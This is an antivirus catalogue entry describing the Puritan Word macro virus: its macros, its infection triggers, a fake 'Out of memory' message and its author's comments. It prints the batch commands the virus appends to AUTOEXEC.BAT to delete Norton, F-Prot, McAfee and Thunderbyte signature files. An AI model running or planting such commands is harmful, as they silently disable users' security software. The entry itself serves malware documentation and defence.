Virus.MSWord.Puritan

Class Virus
Platform MSWord
Description

Technical Details


This is a dangerous macro virus. In infects documents and global macros
area (NORMAL.DOT). There are six virus macros, but there are only five
different ones:


Document NORMAL.DOT
Macro1 Puritan Puritan
Macro2 Rtr Retro
Macro3 FSAB FileSaveAs
FSAB
Macro4 AOB AOB
AutoOpen
Macro5 ToolsMacro ToolsMacro

The virus infects global macros area on AutoOpen and documents on
FileSaveAs. The virus deletes the anti-virus files, if they exist:

C:Program FilesNorton AntiVirusVirscan.Dat
C:Program FilesF-Prot95Fpwm32.dll
C:Program FilesMcAfeeScan.dat
C:Tbavw95Tbscan.sig

It also appends to the end of AUTOEXEC.BAT file the commands that also
delete these files:

@echo off
IF exist C:Program FilesNorton AntiVirusVirscan.Dat
then del C:Program FilesNorton AntiVirusVirscan.Dat
IF exist C:Program FilesF-Prot95Fpwm32.dll
then del C:Program FilesF-Prot95Fpwm32.dll
IF exist C:Program FilesMcAfeeScan.dat
then del C:Program FilesMcAfeeScan.dat
IF exist C:Tbavw95Tbscan.sig
then del C:Tbavw95Tbscan.sig

On accessing Tools/Macro menu the virus displays the MessageBox with the
strings:

Out of memory.
WordBasic Err = 7

The virus contains the comments in the Puritan macro:

The Style of macro virii was invented by
those with an Open mind…
If you have an Open mind To other influences
you will grow out as one of the best…
‘Poet of the highest quality 😉 from
‘— Neophyte —-